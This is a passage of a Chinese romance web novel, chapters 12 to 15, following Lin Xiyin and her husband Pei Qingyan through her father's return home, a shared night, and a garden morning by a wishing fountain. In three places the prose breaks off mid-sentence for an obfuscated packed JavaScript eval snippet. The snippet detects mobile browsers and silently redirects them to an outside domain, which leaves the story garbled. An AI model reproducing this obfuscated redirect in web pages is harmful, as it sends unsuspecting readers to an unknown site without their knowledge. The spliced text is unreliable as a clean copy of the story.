那就是暂时不会说,林汐音放心下来,点头保证:“我一定会的。” 方管家又笑起来:“伤都痊愈了吗?” 林汐音站起来转了一圈:“都好了的,我现在很健康。” …… 和方管家交谈完,林汐音回到副楼的房间,这里除了床品和摆设增添了一些新的外,几乎和她记忆中没什么变化。 她坐在床边向后仰躺,对于下午和林章越的见面充满担忧。 正愁着,手机铃声突然响起来。 她翻身摸来手机,屏幕上来电显示是裴清宴。 她接通:“喂?” 裴清宴声色温润:“算算时间你应该已经回去了,怎么样,一切还习惯吗?” 听到他的声音好多了,林汐音嘟囔着:“家里好像没什么大的变化,胡师傅和胡姐也都是老样子,只是……” “只是什么?” 她坐起来,声音很闷:“方管家都知道了。” 电话那头有几秒的沉默,接着裴清宴问:“在担心吗?” “有些紧张,好怕见到爸爸以后会穿帮。” 裴清宴提议说:“或许早点告诉他比较好。” 道理林汐音都懂,可她就是:“暂时还不想说……” 裴清宴沉默了片刻,说知道了。 林汐音没来得及问他知道了什么,胡姐就敲门来送水果,裴清宴听到声音,嘱咐她先去用餐:“早上出门时感觉你有点累,饭后要不要睡一觉。” 她小声说好,怕打扰他工作,简单聊了几句便结束通话。 就这样一直紧张到下午,四点多的时候林汐音看时间差不多,便慢悠悠从她的副楼沿路溜达到主楼,她坐在喷泉边的石岩上,看着水池里丢满的硬币,好想立马许个愿。 没一会儿有车驶入青杉居大门,林汐音看过去,心情带有一丝难以言说的忐忑。 她站起来,优雅的加长宾利停在她身边。 诶? 等等,宾利? 林汐音一时呆住,目光跟随着司机下车、绕后,再从远处一侧打开后座门,林章越低身下车。 同一时间她身旁的车门径自打开,下来一个她无比熟悉,此刻又令她安心的身影。 车门关上,裴清宴的身形被夕阳笼罩。 他的笑容在橘色日光下淡,却温柔。 12. 邀请 林汐音愣神间,迈巴赫迟一步停在后面。 方管家出声喊林先生。 她一顿,回过神,和裴清宴目光短暂相撞后,走向林章越的方向。 她迎上去,“爸”字还没出口,林章越将她从头到脚打量一遍,满意道:“不错,确实胖了点。” 林汐音:“……” 胡姐一听在旁急道:“哎呀不胖的呀,小音从小就苗条的很,小细胳膊上没二两肉的。” 胡师傅停好车下来,走近了也说:“是呀是呀。” 林章越看起来心情还不错,林汐音慢慢凑过去,挽上他胳膊:“爸,外面冷,我们进去说吧。” 走进楼内,林汐音不动声色瞧了身后一眼。 林章越亲爹拆台:“急什么,他还能跑了。” “爸……”林汐音瞬间有些脸热,却不忘关心林章越十几个小时的飞机路程,“累不累啊,要先休息一下吗,晚餐胡姐都准备的差不多了,随时可以开餐。” 林章越疲惫感未消,嗯了声,又问她:“最近怎么样,我听说你又回那个什么植物院上班去了?” 林汐音挺不好意思的:“我其实就去了一天……” 并且除了闲坐赏花,什么也没干。 “别让自己太累。”林章越想不通,“也不知道你这爱上班的毛病随谁,逛街、玩乐、周游世界干什么不好,我赚这么多钱是为了让你去辛苦上班的么。” 林汐音小小声:“这不是像你嘛……” 林章越想到自己在私人飞机上还不忘看了两份文件,一时无言。 她又问:“要不要休息一下,二十分钟后开餐?” 林章越点头算是同意,又嘱咐她不用跟来,这才上楼。 八成是要去吸烟室,林汐音在楼梯口停下,看林章越和方管家的身影消失在二楼。 身后传来脚步声,她回头,看到裴清宴,小跑过去,声音是难得的轻快。 “你怎么来了呀。”她仰头看他,声音带甜。 裴清宴掌心贴在她脑后,轻轻摩挲了下:“有些担心你。” 他这样好像在摸小猫,可林汐音喜欢他适当又礼貌的亲近。 胡师傅没有跟来,胡姐也去厨房准备了,空旷的客厅只剩他们两个人。 林汐音小声道:“我爸爸没有为难你吧。” 裴清宴摇头说不会。 “我看到你的车开进来时好惊讶,没想到我爸竟然同意坐你的车诶,甚至胡师傅还在你们后面。”林汐音想了想,“怎么你们都去接他了呀。” 上午和她结束通话后,裴清宴就无法安心,他联系方管家询问了林章越今日的私人停机场位置,下午会议结束后便动身前往。 他和胡师傅一起等在停机场外。 林章越出来后看到他,倒没太多惊讶,只问:“我女儿最近怎么样。” 裴清宴知道这是在给他台阶,于是主动拉开宾利后座车门,低头颔首,诚实答:“她很好。” “还失眠么。” 不过是一句简单询问,却让裴清宴沉默许久。 好半天,直到林章越坐进后排车座,裴清宴才找回自己的声音:“她之前,一直在失眠吗。” 林章越靠上后座,漫不经心下压着薄怒:“嗯,在新西兰时整夜整夜的失眠,怎么,她没告诉你么。” 裴清宴站在车门旁,不知是不是停机场的噪声太大,他感觉自己有些耳鸣。 额角也开始发痛。 林章越达到目的,心情似乎好了几分,他大赦般说:“上车吧。” 宾利发动,胡师傅只好跟在后面。 …… 裴清宴没有将细节一一陈述,林汐音也没多问,她知道林章越一向不喜欢外人来青杉居,虽然不知道她结婚后这个“外人”的定义有没有改变,但目前来看,林章越似乎也不是很不满裴清宴嘛。 她松一口气,和裴清宴往餐厅方向走,又忍不住问:“万一爸爸不坐你的车怎么办啊。” 他笑笑:“为了见你,我总会想到其他办法。” 她耳根又热起来。 聊了两句胡姐走过来,询问晚饭开餐时间。 林汐音和裴清宴洗手后先落座长桌,等待林章越的过程中她又询问他们在车上聊了什么。 裴清宴说只是一些简单问候,她才放心下来。 没几分钟林章越下楼,晚餐正式开始。 林章越在新西兰这大半年吃腻了西餐,今晚一桌大都是炒菜,零星几个甜品是为林汐音准备的。 胡姐摆上最后一道餐,清淡的炒素菜,离裴清宴最近。 林章越动筷后,林汐音挑了一块蛋挞放在裴清宴盘里,谁知胡姐看到哎呀一声:“小裴不吃甜的呀,这是给你准备的。” 林汐音一顿,以为自己听错了。 胡姐又继续道:“上次还是你提醒我的呀,小裴口味清淡,除了牛肉鸡肉就只吃一些简单的炒蔬菜的。” 林汐音彻底恍惚,林章越一听却不满起来:“挑什么。” 裴清宴拿起蛋挞,和胡姐道谢,又解释道,“最近有爱吃一点甜的。” 胡姐哦了一声:“这样呀。” 林汐音还在前面的对话里没回过神,裴清宴给她夹菜,又小声提醒道趁热吃。 她怕林章越起疑,应了声埋头认真吃饭。 晚餐时间过得很快,饱腹后林章越放下筷子,边擦手边道:“时间不早了,你……” 林汐音一听这个开头,以为林章越要发话赶人,忙说:“啊外面天色已经很黑了,这么晚回市区的话可能会不安全吧……” 她说一半,又小心翼翼打量林章越的神情,低头小声道:“从停机场回家的路程也很远的……” 苦肉计。 林章越瞧了一眼从小宠到大的女儿,只觉她单纯的过头,他将用完的手巾放回桌上,松口说:“今晚就留下休息吧。” 林汐音抬起头,眼神又变得晶亮。 林章越简直拿她没办法:“我吃饱了,你们慢慢吃,尤其是你,多吃一点。” 林汐音听话地往嘴里塞了一大口肉,含糊道:“嗯嗯。” 林章越起身往楼上走,她忙道:“爸爸好梦,晚安!” 晚餐在还算愉快的氛围里结束。 …… 饭后,林汐音和裴清宴一起往副楼走,天色很暗,他们并肩时距离很近。 她想到晚饭时的小插曲,斟酌片刻,小声道:“原来你不喜欢吃甜的呀。” 其实应该有所察觉的,许听言也不爱吃。 裴清宴脚步很慢,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375675|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞和刚刚没差多少:“最近有爱吃一点。” “哦……” “真的。” 她嘟囔:“那就是原本不爱吃嘛。” 裴清宴脚步微顿,看她一直低着脑袋,像在自恼,心疼的同时又觉得心痒。 他解释:“只要是你做的,我都爱吃。” 林汐音终于肯抬起脑袋:“你之前说,如果想不起来的话,可以问你对吗?” 他说:“对。” “那可以告诉我你都爱吃什么吗?”林汐音表情真挚,“我很想知道。” 如果眼睛可以说话,那她此时的渴求就是最真切,裴清宴停顿了下,答:“清淡一点的。” 五个字又让林汐音重新郁闷起来。 他将她的小表情看在眼里,没忍住笑,顺势握住她的手,修长的指骨穿过她指缝相扣,晃了一下:“怎么不高兴。” 林汐音说:“我完全弄错了……”她想了想,还是觉得很困惑,“听言说你过年期间常常在家里烤蛋挞,那时候你就喜欢了吗,如果没有,为什么要烤啊。” 她说完才发觉暴露了自己打听他喜好的事情,怕越矩,也怕他不喜欢,瞬间又局促起来。 但裴清宴似乎并不在意,只说:“是在学习。” 她好奇:“学习烤蛋挞吗?” “嗯。” “为什么要学?” 闲谈间来到副楼门前,视线开阔,灯光也亮起来。 裴清宴垂眸看她,目光比声音温柔:“因为你喜欢。” 林汐音愣了愣。 月色撩人,裴清宴还在继续说:“你喜欢西餐,也喜欢甜食,我总在想国外的食物,是不是很合你胃口。” “还,还好……”她垂下头,为自己的挑食。 “所以我想着要抓紧时间学一些你爱吃的,这样也许……” 月影浮动,他顿了顿。 林汐音追问:“也许什么。” 他笑着,“也许你会愿意早点回来。” 四目相对,却突然无言。 林汐音哑言,是因为心口突然觉得难受,很闷,也很堵。就这样沉默几秒,在夜色更沉前,她抬步往楼里走。 十指还相扣着。 裴清宴跟着她的脚步。 胡姐已经收拾好了二楼的另一间主卧,虽然她想不通小夫妻为什么要分开睡,可是副楼房间多,平时又都闲置,偶尔需要她收拾出一间,她反而觉得有事情做也很好。 沉默间走上楼,两个主卧相对着。 林汐音走到卧室门口,停下:“胡姐已经帮你把房间收拾好了。” 裴清宴站在她面前,她却低着脑袋不肯看他。 他说:“好。” 林汐音又说:“早点休息。” 他还是说:“好。” 却没有松开手的意思。 不过她也是。 就这样僵持了几秒,裴清宴心里叹气,想要放她早点休息时,终于听到一声很轻、又很小的音。 “今晚……”她鼓足勇气,“要不还是一起睡吧。” 裴清宴低头看她,像一个蓄谋已久终于得偿所愿的坏人。 他克制着,忍着,压下所有渴望她的冲动,用尽量温润、且她最喜欢的那样,低声应道:“好。” 13. 初见 房门关上,林汐音才觉得有些冲动了。 她依旧保持着和裴清宴十指相扣的姿势,站在门口,呆了几秒。 “怎么了。”他垂眸,拇指蹭过她手背。 林汐音如梦初醒,走进房间,松了松手指。 在屋里还牵手,她觉得很害羞。 裴清宴很配合,松开她,走在后面,房间只有床头的立灯亮着,伴着一缕月光,朦胧又暧昧。 林汐音将顶灯调亮,打破了短暂的安静:“我想……先洗个澡。” 话说完又闭眼…… 怎么说的这么奇怪啊! 她开始后悔,转头犹豫:“要不我们还是……” 分房间睡吧。 话没来得及出口,裴清宴接道:“嗯,我去隔壁洗。” 他说完,转身就开门出去了。 林汐音看着他高挑的背影消失,房门被轻轻关上,屋里又重新恢复寂静。 万籁俱寂,只剩她的心跳声。 林汐音一头倒进绵软的床被,打了两个滚,起身时头发乱糟糟。 虽然和裴清宴已经单独相处了很久,但在她无比熟悉的空间与他共处,这事情本身就让人心跳加速。 飞快洗完一个澡,林汐音穿着丝质吊带睡裙出来时,整个人有些紧张。 大意了,副楼的卧室是她成年后搬过来的,整栋楼平时只有她和胡姐两个人,所以睡衣为了简单舒适,胡姐给她准备的都是裙子。 但如果要面对裴清宴…… 好像还是太单薄了一点。 林汐音从衣柜里翻了半天,找出一件薄开衫套在外面。 好多了,明天要叮嘱胡姐去主楼帮她拿一些套装睡衣才好…… 关上衣柜门,房门被很轻地敲了两下。 她走过去开门,雪松香气先一步窜进房间,林汐音愣了下,青杉居的沐浴露好像不是这个味道的。 裴清宴垂眸看她,视线从她蓬松的长发,落在吊带漏出的漂亮锁骨上,目光再下移。 他撇开视线。 “想着你该洗完澡了,所以就过来了。”他低声说着,却没进来。 林汐音反应过来自己堵在门口,往旁边让了让。 门关上,走廊的灯被隔绝。 “困了吗。”裴清宴走过来。 明明房间挺大的,怎么和他在一起时总觉得哪里空间都不够。 和他对视,林汐音下意识又要低下脑袋。 结果还没来得及,裴清宴长指贴在她下巴,拇指用力,将她一张红透的小脸抬起来。 林汐音睁圆杏眼。 他用食指抚过她颊边,摩挲两下,音也沉了:“有东西。”他抹开,香味散了,又问,“这是什么。” 林汐音抬手碰了下他摸过的地方:“……是面霜。” 刚刚在浴室她心不在焉的护肤,面霜竟然没抹开。 好丢人,她搭上裴清宴指尖,想要掰开,碰到他无名指的戒指。 她一顿,再用力时却徒劳。 他不肯松手,又捧着她的脸称赞说:“很香。” 林汐音说:“没有你香的。” 裴清宴微微抬眉,没懂。 她小声道:“你的味道,好香。明明沐浴露不一样,但我好像还是能闻到雪松的香味。”她说着,没忍住凑近闻了闻,“好奇怪,好像只要靠近你就可以闻到这个香味诶。” 她欣喜又好奇地扬起脸,这么近的距离看他,眼神直勾勾的。 裴清宴喉咙发紧,指尖无意识用了点力。 两张脸无预兆地贴近。 林汐音慌乱中撑在他胸口,想推开又手软。 “为什么要躲。”裴清宴声音温柔,动作却不是,“说我好香,又要闻我,靠近了又要逃。” 他眸子里的光很黯,像浓雾,盯着她时似乎要将她看穿。 林汐音没来由腿软,下巴被他钳着,想偏开头都困难。 她急的眼眶含了水,裴清宴注意到,心又软了。 “吓到了吗。”他松开禁锢,掌心贴在她颈侧,安抚地揉了下,“抱歉,是我不好。不要生我的气好吗。” 林汐音摇摇头,这下终于可以垂下脑袋。 她声音小小的:“没有生你的气,只是太近了,我觉得……” 她说着说着尾音都听不到了。 裴清宴低下肩,克制地靠近了一点:“什么。” 林汐音抬起头,咬咬唇,鼓足勇气,凑近他耳边说了三个字。 她说完就想逃,却被他灼热的掌心阻拦,裴清宴大掌贴在她后背,用了点力,将她箍紧。 “会害羞……”他重复着她说的话,怕真把人吓跑了,声音也无限低柔,“为什么。” 她不说话,他又好心给出选项。 “是因为——”裴清宴将她抱在怀里,低头,贴在她颈边深呼吸,“喜欢我么。” 林汐音埋在他胸口,听到这句话,耳根彻底红透。 她还是不说话,他却低声笑了。 “好吧,我知道答案了。”裴清宴一手掌在她腰际,一手轻轻摩挲她后脑,哄了片刻,终于肯结束,“累了吗,抱你去睡觉?” 林汐音想说不用了,刚要动作,才发现早已腿软。 她闷着不语,裴清宴弯腰将她横抱起。 到床边不过几步,如此近的距离,她连整理表情的时间都没有。 裴清宴将她放在床边,弯腰蹲下,还没来得及叮嘱什么,林汐音扭头钻进被窝里。 他默了下,起身走到床头,看她散落在枕头的长发,心里涨涨的暖。 “外面的衣服要不要脱掉。”裴清宴很耐心的哄,“这样直接睡,会不会不舒服?” 林汐音裹着开衫和软被,声音含糊地飘出来:“没关系的……” 裴清宴没再勉强,走到床另一边,看着被她卷走所剩无几的被角,和衣躺下。 弱弱的声音又飘出来:“灯……我忘记关了。” 裴清宴侧过身,看着拱起一团的被子,沉声应:“已经关掉了。” 安静了片刻,被窝钻出一个毛茸茸的脑袋。 微弱的灯光下,四目相对。 林汐音欲言又止,没忍住:“你骗我啊。” 裴清宴很低地笑了声,解释:“本来想直接关掉的,又担心太黑了你会害怕,所以调暗了一点。” 林汐音反驳说:“我不会害怕啊,睡觉本来就要关灯的嘛。” “是吗。”裴清宴面不改色,“那是我会害怕。” 林汐音张张嘴,想说什么,咬了下唇又放弃。 她知道他是故意在逗她,想揭穿他,又发现几句闲聊后,竟然不太害羞了。 对峙几秒,她大度地分了一点被子给他:“我这次真的要睡觉了哦。” “好。”裴清宴应着,手又伸过去,她没躲,任他拇指按上她的唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375676|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“不要咬,会破皮。” 林汐音瞬间脑袋乱成浆糊:“哦,哦……” 他又问:“疼吗?” 这对话似曾相识,但林汐音又想不起来是在哪里发生过。 大概是胡思乱想吧,她答:“不疼的。” “嗯。”裴清宴收回手,不知在想什么,没几秒,他伸长手臂关掉立灯,说,“睡吧。” 房间陷入黑暗,林汐音呆了呆。 “被子……你记得盖哦,晚上会冷的。”她小声提醒后,平躺好合上眼,“晚安。” 裴清宴应了声好,最后又道:“晚安。” …… 晨光熹微,林汐音睁开眼,第一个念头是好香。 她辩清这香沉雪松的来源,彻底清醒。她看了眼身边还在沉睡的人,借着微光,小心翼翼凑近瞧了瞧。 裴清宴熟睡时的表情很淡,和平时总是带着浅笑的模样不同,虽然都是一样的好看,但林汐音总觉得这样的他好像才更真实。 看着看着,她又脸热起来。 天光还没大亮,此时却毫无睡意,林汐音仰面挣扎了一会儿,动作很轻地翻身下床。 互道早安的场面她暂时还无法面对…… 洗漱好下楼,胡姐看到她时很惊讶:“这么早就醒了呀。” 林汐音一头长发散在背后,尾巴微微卷着。 胡姐满脸慈爱:“哎呦头发又长长了呀,又浓密又蓬松的,真漂亮。” 林汐音脸红起来,谢谢的声音很小。 胡姐问她:“现在要用早餐吗?” 林汐音说:“还不饿。”想了想,又补充,“等裴清宴睡醒一起吃吧。” 她说着走到餐厅窗边,原本想先喝杯热牛奶,结果先看到窗外盛开的花,她喃喃说:“什么时候种的啊……” 青杉居的花园有两处,主楼那边的面积大,临着喷泉,一直是方管家在打理,而副楼后面的小院子,林汐音只种过一些小植物,绿油油的一片,印象中只有花叶络石颜色比较丰富。 如今这些洋桔梗…… 林汐音想了想,绕过餐桌往门外走。 胡姐的声音在后头:“穿件衣服呀,清晨外面冷得很。” 话毕人已经消失。 胡姐叹口气,转身准备上楼去衣帽间给她拿件外套。 裴清宴楼梯走下一半,和胡姐碰上,说:“我去吧。” 林汐音从前都爱穿植物院的工作服去花园里收拾,方便又耐脏,今天没来得及,脚边繁茂的枝桠好多次勾到她裙角,她却无暇顾及,剪了几朵白绿色的洋桔梗,用手腕的发圈绑了个束口。 调整了一下花束的造型,她很满意。 转过身,碰巧遇到了她想要献花的人。他已经收拾利落,很难想象,竟然有人能把衬衫穿的这么好看,银色的领针衬的他禁欲又迷人。 她笑起来:“你醒了呀。” 日光下,微风里,裴清宴突然想起第一次见她那天。 也是这样。 她穿着漂亮的裙子,手里拿了束小草似的植物,看他两眼就低头,笑容害羞又局促。 她声音小小的,却很甜,跟他说抱歉,又解释她楼前的花园里没种过花,但这株小草也很漂亮。 名字是什么,记不清了。 裴清宴只记得当时看着她,心里有个声音在说,没有花吗。 怎么没有。 她明明就是。 14. 愿望 裴清宴走过来,帮她把外套披好:“早上外面冷,怎么不多穿一点。” 他语气里没有责怪,担心却很明显。 “我看这些花开的很漂亮,一时心急就跑出来了。”她保证说下次不会了,然后把花递给他,“这个送给你。” 裴清宴接过来,又帮她拢紧外套,怕她冷,手背贴在她脸颊试了试温度。 “冷吗?”他问。 林汐音想摇头,结果有风吹来,她裸露在外的小腿经不住抖了一下。 裴清宴很轻地叹气,牵着她往楼里走。 林汐音小步跟着,不忘跟他确认:“你喜欢嘛,这个花。” 他腿长,迈开的步子大,快到门前台阶时,林汐音小跑了两步才追上他,裙摆随风荡起微弱的弧度。 晃了他的心。 “喜欢。”裴清宴低垂眼睫,看着手里的,心却在另一朵,“很漂亮,我很喜欢。” 说话间穿过长厅,停在沙发前,林汐音在他的眼神示意下乖乖坐好。 裴清宴在她面前蹲下,掌住她的小腿。 肌肤相触,她缩了一下。 “很凉。”裴清宴帮她暖着,仰头问,“要不要喝一点热牛奶?” 林汐音点头,前倾身子,想伸手拉他起来,指尖刚搭上他小臂,就听到胡姐“哎呦”一声。 胡姐从厨房收拾出来,看到他俩脑袋凑在一起,捂着眼道:“早餐放在桌上了,你们两个亲热完要记得吃……哦对了,林先生白天不在,午饭你们想吃什么呀?” 林汐音看过去:“我……” 胡姐又摆手:“算了算了,你们小夫妻先亲热着,等我去主楼忙完再回来问好啦。” “……” 林汐音下意识想解释,裴清宴却不肯,握住她指尖包裹,等胡姐走了,才笑问:“怎么脸红了。” 她转回脑袋,结巴起来:“我,我没有……” 他依然笑着:“没有吗。” “没……” “好吧。”裴清宴很温柔,可下一秒又让她心跳,“那我们什么时候吃早餐,或者还是听胡姐的……” 他停顿,等捉住她的视线,才说完:“先亲热一下?” 林汐音怕胡姐还没走远,抬手去捂他嘴巴。 裴清宴笑起来,说抱歉,又轻吻了下她指尖:“饭后回房间陪你换件衣服好吗,今天天气很好,要不要出去走走。” 阳光明媚,风也宜人,林汐音点头说好。 …… 青杉居在千屿市郊区,依山而建,是一片私人别墅区,这里气温要比市区低一些,再加上被大面积的杉木包围,空气宜人的同时凉意也明显。 林汐音老实穿了暖和的衣服,下楼时注意到裴清宴也换了齐整的西装三件套。 她一顿:“等下你要走吗?” “先陪你吃午饭。”裴清宴解释,“下午有会议实在难走开。” 林汐音点点头,那应该要好久不见了。 并排走着,她没忍住偷看了几眼。 “你穿这个……”楼梯下到一半,她小声感慨,“很好看。” “什么。”他没听清。 林汐音难以重复:“没,没什么。” 人还没走,她就已经心事重重起来,想和他多待一会儿,也在想下次见面的时间。 从前厅出来,两人一起往主楼的花园走。 小路的每一个石子都被她踩过千百遍,沉默了一会儿,林汐音想起什么,主动挑起话题。 “你养过小动物嘛?”她铺垫了一下。 裴清宴摇摇头:“没有。” “那你喜欢小动物嘛?” 还是摇头。 好吧,林章越也不喜欢小动物,所以也不同意她养。 林汐音默了几秒,裴清宴又道:“如果你喜欢,我们可以养在家里,音音喜欢什么小动物?小狗的话需要陪伴的时间比较多,我们忙起来也许不方便,其他的……小猫怎么样。” 看他认真在思考,林汐音忙摆摆手:“不用不用,小动物都需要照顾,我照顾不好的。” 她一面谦虚,一面又顺着说她小时候在花园里偷偷养猫的事情。 其实只是一次很偶然的机会,她在花丛里撞见一只受伤的小猫,她找胡姐帮忙给小猫伤口包扎,谁知救助后就被缠上,小猫每天要来和她玩闹一会儿才肯离开。后来有一次不小心被它抓伤,林章越发现后才不准她去小花园。 “不过我爸爸虽然不准我再去见小猫,但还是会让胡姐每天送吃的给它,只是后来天气变冷,就没再见过它了。” 裴清宴说:“林先生很疼你。” “是呀。”林汐音认真点头,正巧走到一片花丛,她说,“那只小猫就是这里发现的。” 阳光洒下来,大片茂密的花朵浸在暖的光晕里,绚烂又宁静。 裴清宴注视着,她又说:“这些都是郁金香,漂亮吧?” “嗯,很漂亮。” “郁金香的品种很多,橘黄色的那一丛叫骄阳,是不是很形象?紫色镶边的是雪梨公主,白绿色的那一丛我很喜欢,叫绿萼。” 裴清宴听着,风过,一朵粉黄相间的花随风蹭过他手背,他停下,长指抚过花瓣,问:“这一朵叫什么名字。” 林汐音看过去。 “汤姆王朝。” 裴清宴点点头。 她犹豫了一下,小声补道:“也叫……初恋。” 微风拂过,花也茂密,他们在春日的阳光下安静对视。 “这样啊。”裴清宴笑起来,“那这一丛,我最喜欢。” 林汐音心跳起来,因为他的话,又开始胡思乱想。 她移开视线继续往前走,没几步主楼的喷泉近在眼前。 林汐音回忆着,忽然紧张起来:“啊,刚刚那个故事,我会不会以前就已经给你讲过了呀,你会不会觉得无聊,要不我……” “没有。”裴清宴否认,又说没关系,“我很爱听,那音音有给那只小猫取名字吗,它叫什么。” 林汐音说:“就叫小猫。” 裴清宴侧目看过来。 她有些不好意思:“我也不知道要给它取什么名字好,每次见到它就喊‘小猫你来啦’,时间久了好像就这样了……” 裴清宴想象了一下那个画面,只觉…… 他敛眸,笑起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375677|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“很可爱。” 林汐音当他是在说猫,也同意道:“是呀,小猫都很可爱的。” 走到喷泉边,林汐音在石沿坐下,想到别的,又问他:“那我有给你讲过这里的池子,为什么会有这么多硬币嘛?” 裴清宴坐在她身边,手碰到她,没回答,只说:“我想听。” “小时候我爸爸说这个叫许愿池,什么愿望都可以许,但要丢一枚硬币,还要把愿望告诉他。”林汐音说着语调轻快起来,“他说这样愿望就一定能实现。” 说到这,她凑过来小声道:“其实我都知道的,他要我说给他听,其实就是想帮我实现愿望。” 裴清宴看了一眼喷泉池,很大的区域,池底的硬币成百上千。 他笑道:“看来音音的愿望有很多。” 林汐音脸红起来,没否认:“其实也不都是愿望啦,大部分都很好实现的,有时候是希望考试可以拿高分,有时候是希望我爸爸能早点下班,还有的就更简单啦,希望晚餐后可以吃一碗冰汤圆或者小蛋糕。” 她继续说:“基本上都是我有九成把握会实现的愿望,才会来这里投硬币哦。” 裴清宴看着她,都知道,却还是问:“为什么。” “因为这样就可以把许愿池的愿望成功率达到百分百呀,”她说着就笑起来,“多积攒一点运气值嘛,万一哪天真的有特别难又特别想实现的愿望,说不定就可以好运大爆发的。” 日光落下来,喷泉周围的光影浮动,好似真的搭起了一条彩虹桥,通向的地方愿望都可以实现。 裴清宴垂眸,目光锁着她,阳光下的俊脸一笑,说出的每个字都蛊惑人心。 “现在可以许愿吗。”他说,“我有很想许的愿望。” 林汐音小声问:“容易实现嘛?” “九成的把握。” “那你等我一下!”她说着,跑去不远处石凳旁的小信箱,从里面摸出一枚硬币,再回来时塞进他手心,“好啦,愿望许完把硬币丢进去就好。” 裴清宴接过硬币,又问:“愿望可以说出来吗。” 林汐音点点头:“可以啊,如果我可以帮你的话。” 他笑着:“只有音音可以帮我。” 林汐音好奇起来:“诶,是什么?” 裴清宴闭上眼睛,长睫垂下,光跃在他脸上。 林汐音心跟着轻轻一跳。 “我希望——”他睁开眼,低下肩,凑近她耳边轻声说,“你可以亲我一下。” 他说完,硬币没有丢进水池,林汐音微微偏头看他,心跳很快,脑子也很乱。他们离得好近,只需要再贴近一点,愿望就可以实现。 果然只差一成。 四目相对。 不过是短暂的几秒。 “那你……”她想了想,犹豫道,“可以把眼睛闭起来嘛。” 裴清宴垂眸,看她近在咫尺的唇,配合闭上眼。 胡姐应该在厨房备餐吧,方管家是在二楼安排清明节的事项吗,那胡师傅呢,陪爸爸去公司了吧,此刻花园里是不是没有其他人? 不管了,好像不重要。 林汐音凑过去,吻在他侧脸。 15. 初恋 硬币叮咚掉入水池。 林汐音坐回去,垂着脑袋,耳尖又红了。 裴清宴笑着牵她的手:“位置有点不对,也怪我没有说清楚。” 林汐音侧目看他,反应过来后连脖子也红透,她站起来,说什么都要走。 裴清宴跟上,又低声哄:“抱歉,是我不好。” 声音里全是笑意。 林汐音闷头走进主楼,路过前厅时遇到胡姐,对方看到她很惊讶:“外面天气很热吗,怎么脸红成这个样子呀。” “……” 裴清宴好心解围:“花园里阳光很好,快到中午确实要晒一些。” 胡姐思考着:“这样啊……” 裴清宴将一颗脑袋埋低的林汐音挡在身后,又问胡姐有没有冰汤圆可以吃。 胡姐一听“哎呦”一声:“有的有的,你看我这记性,转头就忘了,你们去客厅等,我这就拿过来。” 人一走,裴清宴转过身,看着近在迟尺的毛茸脑袋,没忍住,低身将她环住。 鼻尖蹭过西服领口,林汐音抬起头,有些惊讶。 虽然他们之间有过几次拥抱,但这好像还是他第一次什么都没问也没说,就抱住她。 很自然,也很……亲昵。 她很喜欢。 “不想走,想就这样陪着你。”裴清宴埋首在她发间,声音清润温柔。 林汐音心跳着,全凭本能回抱住他:“下周我就回去了……” “嗯,那这几天见不到面,会想我吗。” 她动动唇。 “会么。” 等了几秒没听到回复,胡姐摆弄甜品车的声音响起,裴清宴正要松开她,就听到一声小小的,却很笃定的:“会的。” …… 午饭过后,裴清宴先走了。 林汐音独自坐在喷泉边上,发一会儿呆,林章越回来了。 迈巴赫停稳,胡师傅打开后座车门,林汐音看着林章越下车,然后对她招招手:“来书房,我有事情要跟你聊聊。” 林汐音咽下口水。 难道暴露了? 正心虚着,林章越要上台阶又停下,回头看她,问:“发什么呆呢。” “没。”林汐音整理好表情,跟在林章越身后,胡乱解释说,“只是在想晚上吃什么好。” 二人一前一后上楼,后者心虚又心事重重。 走进书房,林章越脱掉外套,坐进书桌后宽大的皮沙发里,边松手表,边问林汐音今天过得怎么样。 林汐音小学生一样站在书桌前,认真答:“很好啊!吃了小汤圆还逛了花园,郁金香最近开得好漂亮。” 郁金香是林汐音母亲唐芸生前最喜欢的花,林章越想到过世的爱妻,眼神瞬间柔下来。他没抬眼皮,指了指桌上的文件,说:“你先看看这个。” “什么啊……” 林汐音凑近。 林章越说:“之前说结婚就结婚,对方是什么人你了解吗,稀里糊涂过了这么久,有时候我都觉得你是不是真的傻。” 林汐音努力消化着这句话…… 林章越看她懵懵的样子,又叹气:“算了说这些也没用,这次如果决定还是他,你就给我把这些看完。” 什么叫这次决定还是他? 林汐音大脑又变一团浆糊,茫然了会儿,拿起桌面的文件。 她低头,看了两秒。 “哇。” 林章越抬起头:“怎么,现在发现自己选错人了?” “裴清宴……好帅啊。”林汐音视线依依不舍从文件上离开,看向林章越,眼神里全是期待,“爸爸,可以把这张照片发给我嘛。” 林章越:“……” 